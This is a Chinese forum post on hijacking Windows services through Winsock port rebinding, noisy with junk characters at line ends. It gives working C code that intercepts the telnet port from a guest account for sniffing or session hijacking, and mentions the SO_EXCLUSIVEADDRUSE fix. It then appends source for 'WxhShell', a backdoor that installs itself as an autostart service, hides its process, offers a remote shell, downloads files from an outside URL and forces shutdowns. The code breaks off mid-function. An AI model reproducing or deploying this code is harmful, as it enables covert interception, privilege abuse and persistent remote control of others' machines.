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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Jp#cFUa t  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); I$LO0avvH2  
jY.%~Y1y  
  saddr.sin_family = AF_INET; e- CW4x  
zE/(F;> FV  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); J"MJVMo$T  
ZIl<y{  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr));  gk#rA/x  
f+Go8Lg=M  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 3"n8B6  
"lZ<bG  
  这意味着什么?意味着可以进行如下的攻击: jFv<]D%A[  
Uy:.m  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ?0a 0 R  
hdL2`5RFF  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) VLN3x.BY  
g-}sVvM  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 hzb|:  
B$Z!E%a;  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  -*2X YTe  
LNE[c  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 xTZ5q*Hqx  
uSJP"Lw  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 pAuwSn#i  
5XHkRcESZ  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 {LDb*'5Cy  
'7R'fhiO/3  
  #include eV0S:mit  
  #include {[?|RC;\Y  
  #include Biy 9jIWI  
  #include    5aNDW'z`f  
  DWORD WINAPI ClientThread(LPVOID lpParam);   c,wU?8Nc|$  
  int main() /f<(K-o]  
  { i#=X#_ +El  
  WORD wVersionRequested; @k,(i=**  
  DWORD ret; 3(&F.&C$$  
  WSADATA wsaData; EYG E#C; d  
  BOOL val; B_2>Yt"  
  SOCKADDR_IN saddr; Z B&Uhi  
  SOCKADDR_IN scaddr; Rp*t"HSaAW  
  int err; ^nF$<#a  
  SOCKET s; jYz3(mM'J  
  SOCKET sc; )}!'VIe^!  
  int caddsize; T7~v40jn|  
  HANDLE mt; uek3Y[n  
  DWORD tid;   G |^X:+  
  wVersionRequested = MAKEWORD( 2, 2 ); |GQ$UB  
  err = WSAStartup( wVersionRequested, &wsaData ); |lwN!KVQ,  
  if ( err != 0 ) { JrTBe73.]j  
  printf("error!WSAStartup failed!\n"); cx(F,?SbS  
  return -1; CF"3<*%x  
  } ""^BW Re D  
  saddr.sin_family = AF_INET; oZ[ w  
   55b |zf  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 E|  
e~;)-Z  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); L? +|%[  
  saddr.sin_port = htons(23); #>B1$(@  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) [i1D~rCcn  
  { =_J<thp  
  printf("error!socket failed!\n"); j//wh1  
  return -1; )d u{ZWr  
  } p9WskYpm  
  val = TRUE; vh8Kd' y  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ]#.&f]6l  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) &X,)+ b=  
  { %iC63)(M  
  printf("error!setsockopt failed!\n"); y03a\K5[KQ  
  return -1; O Zm[i H  
  } @ -d4kg  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; \#,#_  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 "Cj#bUw  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 #%"TU,[+  
UO<claV  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) R7c)C8/~  
  { *AR<DXE L  
  ret=GetLastError(); -yGm^EwP  
  printf("error!bind failed!\n"); 1>y=i+T/b  
  return -1; g GT,PP(k  
  } bnu0*Zg>  
  listen(s,2); gGml c:/J%  
  while(1) !bQ &n  
  { F)ld@Ydk=  
  caddsize = sizeof(scaddr); P.Z<b:V!  
  //接受连接请求 (kyo?3  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 0]W]#X4A  
  if(sc!=INVALID_SOCKET) g 'a?  
  { 72vGfT2HtZ  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); =e-aZ0P  
  if(mt==NULL) x>" JWD  
  { TbAdTmW  
  printf("Thread Creat Failed!\n"); XPo'iI-  
  break;  .OS?^\  
  } )}\@BtcjA]  
  } )ZyuF(C&  
  CloseHandle(mt); !>Y\&zA  
  } gD+t'qg$  
  closesocket(s); 59BHGvaF  
  WSACleanup(); c$:=d4t5$  
  return 0; Nw& }qSN  
  }   (G%gVk]  
  DWORD WINAPI ClientThread(LPVOID lpParam) s{J!^q  
  { WTv\HI2X !  
  SOCKET ss = (SOCKET)lpParam; I jztj  
  SOCKET sc; i=H>D  
  unsigned char buf[4096]; A""*vqA  
  SOCKADDR_IN saddr; ||ZufFO  
  long num; V^/^OR4k  
  DWORD val; *Q120R  
  DWORD ret; -U;LiO;N  
  //如果是隐藏端口应用的话,可以在此处加一些判断 &|"I0|tJ  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   MXJ9,U{<C'  
  saddr.sin_family = AF_INET; P^m 6di  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); )r,R!8  
  saddr.sin_port = htons(23); L{%a4 Ip  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) C|;Mhe'r=  
  { FDs^S)B  
  printf("error!socket failed!\n"); 64rk^Um  
  return -1; _JIUds5  
  } 'Qq_Xn8  
  val = 100; SJc@iffS  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) b<V./rWIB  
  { nEcd+7(  
  ret = GetLastError(); 7RC096 ?}  
  return -1; Il`k]XM  
  } EQOP?>mWx!  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) p't:bR  
  { N?{1'=Om  
  ret = GetLastError(); pW--^aHu  
  return -1; 4|41^B5Y  
  } 1 u_2 4  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ~ 9~\f  
  { xP6?es`  
  printf("error!socket connect failed!\n"); ?r E]s!K  
  closesocket(sc); ?&<o_/`-H5  
  closesocket(ss); c[RL Yu  
  return -1; a(DZGQ-as  
  } po2[uJ  
  while(1) `CEj 4  
  { l(w vQO  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 4zfRD`;  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 b hr E  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ?(ls<&s{w  
  num = recv(ss,buf,4096,0); 8u5 'g1M  
  if(num>0) P:, x?T?J^  
  send(sc,buf,num,0); T\ }v$A03  
  else if(num==0) ?-::{2O)  
  break; LSu^#B  
  num = recv(sc,buf,4096,0); >"<k8wn  
  if(num>0) ssyd8LC#  
  send(ss,buf,num,0); o),6o'w(  
  else if(num==0) x gT~b9  
  break; hn\Q6f+  
  } @?7{%j*  
  closesocket(ss); m":SE?{{&  
  closesocket(sc); -S%q!%}u  
  return 0 ; G!VF*yW8  
  } u !3]RGJ  
l*\~ew   
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========================================================== d O46~  
|*c\6 :  
下边附上一个代码,,WXhSHELL o|;eMO-  
waWKpk1Wo  
========================================================== ^g-t#O lD?  
KA-/k@1&  
#include "stdafx.h" 9kX=99kf[  
=e!l=d|/  
#include <stdio.h> %w8GGm8^/  
#include <string.h> _:Jp*z  
#include <windows.h> oS#'u 1k  
#include <winsock2.h> {pb9UUP2  
#include <winsvc.h> ~'NpM#A  
#include <urlmon.h> 0+<eRR9 -  
) {  
#pragma comment (lib, "Ws2_32.lib") }uI7 \\S  
#pragma comment (lib, "urlmon.lib") ,s><kHJ  
'uKkl(==%  
#define MAX_USER   100 // 最大客户端连接数 %t`SSW7I  
#define BUF_SOCK   200 // sock buffer ZG@M%|>  
#define KEY_BUFF   255 // 输入 buffer B&i0j5L  
T4~`e_  
#define REBOOT     0   // 重启 (e8G (  
#define SHUTDOWN   1   // 关机 ]Q4PbW  
lTr*'fX  
#define DEF_PORT   5000 // 监听端口 a\{1UD  
P wB g  
#define REG_LEN     16   // 注册表键长度 8L -4}!~C  
#define SVC_LEN     80   // NT服务名长度 "<w2v'6S  
M. )}e7  
// 从dll定义API ~3bZ+*H>  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); h^A3 0f_x  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); pFJQ7Jlx  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); )jlP cO-  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); x9)aBB  
Ob8B  
// wxhshell配置信息 k]Alp;hVd  
struct WSCFG { %h"qMs S  
  int ws_port;         // 监听端口 GjeUUmr  
  char ws_passstr[REG_LEN]; // 口令 Cx+WLD  
  int ws_autoins;       // 安装标记, 1=yes 0=no iO*`(s  
  char ws_regname[REG_LEN]; // 注册表键名 ,]Ro',A&  
  char ws_svcname[REG_LEN]; // 服务名 }{5mH:  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 jWXR__>.  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 %0yS98']g  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息  k6O. H  
int ws_downexe;       // 下载执行标记, 1=yes 0=no %-# q O  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" SY'2A)  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 x*h?%egB!p  
#`La|a.-  
}; os1?6 z~  
<8rgtu!VU  
// default Wxhshell configuration G` ,u40a  
struct WSCFG wscfg={DEF_PORT, h@~:(:zU$  
    "xuhuanlingzhe", Il{^ j6  
    1, [6; N3?+  
    "Wxhshell", (S  k#x  
    "Wxhshell", ]^:hyO K  
            "WxhShell Service", Re*|$r#  
    "Wrsky Windows CmdShell Service", ,M) k7t:  
    "Please Input Your Password: ", _\dt?(m|  
  1, <Zp^lDxa  
  "http://www.wrsky.com/wxhshell.exe", Mny'9hsl  
  "Wxhshell.exe" ?C &x/2lt  
    }; L`UG=7r q  
Q PFeBl  
// 消息定义模块 2'wr={>W  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Gz>Lqd  
char *msg_ws_prompt="\n\r? for help\n\r#>"; |1(rr%  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; IS[Vap:  
char *msg_ws_ext="\n\rExit."; {J~(#i k   
char *msg_ws_end="\n\rQuit."; )?w&oIj5  
char *msg_ws_boot="\n\rReboot..."; g .x=pt  
char *msg_ws_poff="\n\rShutdown..."; / l".}S  
char *msg_ws_down="\n\rSave to "; a-]hW=[  
T&r +G!2  
char *msg_ws_err="\n\rErr!"; N%9h~G  
char *msg_ws_ok="\n\rOK!"; 1$$37?FE  
e,f ;  
char ExeFile[MAX_PATH]; W.A1m4l58R  
int nUser = 0; t`"^7YFS>  
HANDLE handles[MAX_USER]; -@''[m.*  
int OsIsNt; [J0*+C9P*  
^ <qrM  
SERVICE_STATUS       serviceStatus; [N)#/ 6j  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; oi2J :Y4  
 YywEZ?X  
// 函数声明 j2|XD Of  
int Install(void); E: 9o;JU  
int Uninstall(void); 5kcJ  
int DownloadFile(char *sURL, SOCKET wsh); ?ork^4 $s  
int Boot(int flag); cYGRy,'gH  
void HideProc(void); 1~%o}+#-  
int GetOsVer(void); zwK }7h6]  
int Wxhshell(SOCKET wsl); zKLn!b#>  
void TalkWithClient(void *cs); AG]W O8f)  
int CmdShell(SOCKET sock); e:N7BZl'c9  
int StartFromService(void); g b -Bxf  
int StartWxhshell(LPSTR lpCmdLine); wms1IV%;  
2~f6~\4GL+  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); I[#U`9Dt  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 9Z&?R++?  
I-xwJi9?,  
// 数据结构和表定义 Kw)K A^KF  
SERVICE_TABLE_ENTRY DispatchTable[] = R0%?:! F  
{ Oqpp=7  
{wscfg.ws_svcname, NTServiceMain}, RCzV5g  
{NULL, NULL} $[,l-[-+  
}; vXephR'  
W1v CN31  
// 自我安装 Fse['O~  
int Install(void) q"S(7xWS  
{ 9"~9hOEct  
  char svExeFile[MAX_PATH]; (]2<?x*  
  HKEY key; z^r |3;  
  strcpy(svExeFile,ExeFile); |K%}}g[<e;  
(@ "=F6P  
// 如果是win9x系统,修改注册表设为自启动 v"rl5x  
if(!OsIsNt) { 2G?$X?  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Vu}806kB  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 7Yuk  
  RegCloseKey(key); XdpF&B&K7Q  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { [4p=X=B  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); (Akd8}nf~  
  RegCloseKey(key); C` pp  
  return 0; O@s{uZ|A6  
    } N[pZIH5ho=  
  } 5.w iTy  
} KxY$PgcC  
else { e#.\^   
G+U3wF],  
// 如果是NT以上系统,安装为系统服务 ~;[&K%n  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); l]H0g[  
if (schSCManager!=0) ``!GI'^  
{ 2}w#3K  
  SC_HANDLE schService = CreateService YgEM:'1f  
  ( ?w*yW;V`  
  schSCManager, yO=p3PV d  
  wscfg.ws_svcname, <;%0T xK|U  
  wscfg.ws_svcdisp, +semfZ)  
  SERVICE_ALL_ACCESS, rj3YTu`  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 4.8nY\_WF  
  SERVICE_AUTO_START, P*YK9Hl<  
  SERVICE_ERROR_NORMAL, \m f*ge\  
  svExeFile, <s_=-" il  
  NULL, ?4 qkDtm  
  NULL, H'EY)s Hi  
  NULL, ZRnL_ z~  
  NULL, w:}C8WKw  
  NULL 3qtr9NI  
  ); qIh #~  
  if (schService!=0) GB>aT-G7q  
  { r'p =`2=  
  CloseServiceHandle(schService); 7:TO\0]2n  
  CloseServiceHandle(schSCManager); r0\?WoF2C  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); '<7S^^ax  
  strcat(svExeFile,wscfg.ws_svcname); O}C)~GU  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Y9u;H^^G  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); qK?$= h.  
  RegCloseKey(key); ,)zt AFn=  
  return 0; MLV:U  
    } '.Z4 hHX  
  } `}gdN};  
  CloseServiceHandle(schSCManager); 1}}>Un`U5,  
} FQROK4x%"  
} Iq^if>  
'a#mViPTQ)  
return 1; f"Vgefk  
} A "S/^<  
%&+TbDE+T  
// 自我卸载 P]Xbjs<p  
int Uninstall(void) 1CkdpYjsj  
{ mibpG9+d  
  HKEY key;  F~6#LT  
^ S  
if(!OsIsNt) { OQScW2a&  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Q`A6(y/s?  
  RegDeleteValue(key,wscfg.ws_regname); @*(4dt:V  
  RegCloseKey(key); "ZT.k5Z  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { _y vLu j  
  RegDeleteValue(key,wscfg.ws_regname); OR4!YVVQ  
  RegCloseKey(key); f@@s1gdb  
  return 0; y\'P3ihK  
  } #r<?v  
} Y%Ieg.o  
} 7J|&U2}c  
else { v$Uhm</|19  
`ZMK9f:  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); u[")*\CP  
if (schSCManager!=0) S@xXq{j  
{ pzhl*ss"6  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); gcf6\f}\<  
  if (schService!=0) Dx-KMiQ,"(  
  { +@<KC  
  if(DeleteService(schService)!=0) { JYm7@gx  
  CloseServiceHandle(schService); Hx2En:^Gf  
  CloseServiceHandle(schSCManager); I%"'*7 U  
  return 0; eEl.. y  
  } T5|c$doQ  
  CloseServiceHandle(schService); a}gk T]  
  } 8;8c"'Mn  
  CloseServiceHandle(schSCManager); q'G,!];qL  
} X}cZxlqc  
} uLk]LT  
Qx)Jtb0`V  
return 1; ;AIc?Cg  
} y&oNv xG-  
sbo^"&%w  
// 从指定url下载文件 WR#0<cz(  
int DownloadFile(char *sURL, SOCKET wsh) PB53myDQ  
{ TWd;EnNM  
  HRESULT hr; g=l:cVr8y  
char seps[]= "/"; XiQkrZ  
char *token; QTmZ( >z  
char *file; ,=BLnsg  
char myURL[MAX_PATH]; .Cz %:%9  
char myFILE[MAX_PATH]; * R d#{Io7  
2p!"p`b~  
strcpy(myURL,sURL); W^\d^)  
  token=strtok(myURL,seps); `t (D!  
  while(token!=NULL) +f NvNbtA  
  { }BJX/, H,  
    file=token; X!tf#tl  
  token=strtok(NULL,seps); wRtZ `o  
  } /i_ @  
,v9f~qh  
GetCurrentDirectory(MAX_PATH,myFILE); 7N=-Y>$X  
strcat(myFILE, "\\"); ROc`BH=  
strcat(myFILE, file); -#s [F S  
  send(wsh,myFILE,strlen(myFILE),0); q,%:h`t\  
send(wsh,"...",3,0); cz/Q/%j$/  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); z[EFQ^*>  
  if(hr==S_OK) yT8=l"-[G  
return 0; +jP~s  
else P"_$uO(5x  
return 1; =ll=)"O  
EU-]sTJLF  
} o)Z=m:t,lK  
q| .dez'  
// 系统电源模块 }{[mrG   
int Boot(int flag) 7KjUW\mN2Z  
{ n_u1&a'  
  HANDLE hToken; 6oD\-H  
  TOKEN_PRIVILEGES tkp; k`{7}zxS  
+q<B.XxkA  
  if(OsIsNt) { !CUoHTmB  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); TsQU6NNE  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); a W%5~3  
    tkp.PrivilegeCount = 1; iK()&TNz  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; >[10H8~bI/  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); *|#T8t,}n  
if(flag==REBOOT) { G?c-79]U  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) GV.A+u  
  return 0; %9v@0}5V  
} <Fz~7WVd  
else { (C;I*cv  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) HQP}w%8x  
  return 0;  vZj`|  
} h"+ `13  
  } MV>$BW  
  else { ]3iH[,KU3  
if(flag==REBOOT) { Jc6R{C  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) t.Nb? /  
  return 0; 2&!bfq![  
} .L6Zm U  
else { .;7> y7$*  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) -O!/Jv"{,[  
  return 0; E#wS_[  
} gJ$K\[+  
} I@#;nyAj"  
Dnf*7)X  
return 1; _~u2: yl (  
} ZraT3  
rjx6Djo>  
// win9x进程隐藏模块 SQ*k =4*r  
void HideProc(void) 4LH[4Yj?`  
{ e4>"92hX  
*hLQ  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); <[:o !$  
  if ( hKernel != NULL ) ?:{sH#ua  
  { RDqFL.-S  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); t"072a  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); \daZ k /@  
    FreeLibrary(hKernel); vQ}6y  
  } 8I;XS14Q  
u"1rF^j6k  
return; s*/bi W  
} yS(}:'`r  
!~]<$WZV  
// 获取操作系统版本 }Ew hj>w  
int GetOsVer(void) |*/[`|*G  
{ 3DgsI7-F  
  OSVERSIONINFO winfo; sZ,Y60s8a  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); L"jY+{oLIJ  
  GetVersionEx(&winfo); 7{@l%jx][  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 0& >H^  
  return 1; SP*fv`  
  else v3d&*I  
  return 0; ".^VI2T  
} _A13[Mt3  
xL|;VyD  
// 客户端句柄模块 S"Lx%  
int Wxhshell(SOCKET wsl) j>uj=B@  
{ ;V^pL((5J  
  SOCKET wsh; mE`kjmX{E  
  struct sockaddr_in client; RlT3Iz;  
  DWORD myID; ML;*e"$  
40E#JF#  
  while(nUser<MAX_USER) k>x&Ip8p  
{ ;Gx)Noo/>  
  int nSize=sizeof(client); O$/o'"@ /  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 9O{b]=>wq  
  if(wsh==INVALID_SOCKET) return 1; l3Njq^T  
y[B>~m8$  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); HK\~Qnq  
if(handles[nUser]==0) ~'37`)]z  
  closesocket(wsh); \`V;z~@iA  
else # mize  
  nUser++; {7TlN.(  
  } -7J|l  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ^7zu<lX  
1I@8A>2^OX  
  return 0; N7E$G{TT  
} Hbv6_H  
kKC9{^%)  
// 关闭 socket T91moRv  
void CloseIt(SOCKET wsh) niB `2 J  
{ ARcB'z\r  
closesocket(wsh); Zo1,1O  
nUser--; ;XM{o:1Y[  
ExitThread(0); F}Vr:~  
} 2'=T[<nNB  
s3 7'&K  
// 客户端请求句柄 Z{&cuo.@<]  
void TalkWithClient(void *cs) s0Z uWVip  
{ X7k.zlH7T  
@(r /dZc  
  SOCKET wsh=(SOCKET)cs;  hI9  
  char pwd[SVC_LEN]; __mF ?m  
  char cmd[KEY_BUFF]; (/35p g6\  
char chr[1]; @gY)8xMbA  
int i,j;  V#VN %{  
q6YXM  
  while (nUser < MAX_USER) { )K &(  
MSf;ZB  
if(wscfg.ws_passstr) { ;M"9$M'  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); N F)~W#  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); h=;{oY<V)?  
  //ZeroMemory(pwd,KEY_BUFF); w$JvB5O  
      i=0; H":oNpfb  
  while(i<SVC_LEN) { 3R+|5Uq8~  
2-Y<4'>  
  // 设置超时 TB0 5?F  
  fd_set FdRead; 8M!:N(a  
  struct timeval TimeOut; (5]}5W*  
  FD_ZERO(&FdRead); I? ,>DHUX  
  FD_SET(wsh,&FdRead); D3|I:Xm  
  TimeOut.tv_sec=8; 9on@Q_7m  
  TimeOut.tv_usec=0; ~69&6C1Ch  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); )1X#*mCxk  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ZP{*.]Qu  
'7O3/GDK  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); vVOh3{e|  
  pwd=chr[0]; '],J$ge  
  if(chr[0]==0xd || chr[0]==0xa) { v:H$<~)E|  
  pwd=0; |i++0BU  
  break; Ub6jxib  
  } 0_88V  
  i++; (o`{uj{!  
    } A~-b!Grf  
UX7t`l2R  
  // 如果是非法用户,关闭 socket <)1qt 9  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); F$)[kP,wtO  
} 82l~G;.n3  
&jmRA';sK  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); K6R.@BMN  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); TYW&!sm  
wmTb97o  
while(1) { .9wk@C(Eh_  
=?!wXOg_  
  ZeroMemory(cmd,KEY_BUFF); ;+"+3  
5{g?,/(  
      // 自动支持客户端 telnet标准   %7|9sQ:  
  j=0; rW$[DdFA5{  
  while(j<KEY_BUFF) { s0vDHkf8  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); \-g)T}g,I  
  cmd[j]=chr[0]; |ZmUNiAa  
  if(chr[0]==0xa || chr[0]==0xd) { VVlr*`  
  cmd[j]=0; q<M2,YrbAI  
  break; wpN=,&!  
  } q@{Bt{$x  
  j++; lnjXD oVb<  
    } LGn:c;  
n@) K #  
  // 下载文件 $` ""  
  if(strstr(cmd,"http://")) { |p,P46I  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); vX.VfY  
  if(DownloadFile(cmd,wsh)) %KLpig  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); T:~vk.Or  
  else FYpzQ6s~  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); x7Yu I  
  } V-BiF>+  
  else { j:v@pzTD  
fb~ytl<  
    switch(cmd[0]) { HAa; hb  
  yU*8|FQbP  
  // 帮助 YuO.yh_  
  case '?': { tS6qWtE  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); \2h!aRWR  
    break; F1yqxWHeo  
  } a^I\ /&aw'  
  // 安装 LcTP #  
  case 'i': { #"G]ke1l$  
    if(Install()) ,0!}7;j_c  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {N+$Q'  
    else GB=X5<;  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #AJM6* G9  
    break; $| @ (  
    } %V7at7>o  
  // 卸载 n"c[,k+R`U  
  case 'r': { EFM5,gB.m  
    if(Uninstall()) Iy&!<r7:]0  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); , K~}\CR  
    else {ttysQ-  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); te-jfmu2  
    break; J| w>a  
    } \| 8  
  // 显示 wxhshell 所在路径 Wi)_H$KII  
  case 'p': { 9dx/hFA  
    char svExeFile[MAX_PATH]; |Y ,b?*UF  
    strcpy(svExeFile,"\n\r"); Hquc o  
      strcat(svExeFile,ExeFile); ZbdZ rE$  
        send(wsh,svExeFile,strlen(svExeFile),0); X4~y7  
    break; b0Ps5G\ u  
    } 3`DQo%<  
  // 重启 3EPv"f^V  
  case 'b': { _uy44; zq  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); w9EOC$|Y  
    if(Boot(REBOOT)) H&-zZc4\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &i6),{QN  
    else { u7>],<  
    closesocket(wsh); ?67Y-\}  
    ExitThread(0); Q' {M L4  
    } n-tgX?1'  
    break; k%WTJbuG<)  
    } +V{kb<P  
  // 关机 *nkoPVpC  
  case 'd': { 6a~|K-a6  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); inMA:x}cF1  
    if(Boot(SHUTDOWN)) +~ P2C6@G  
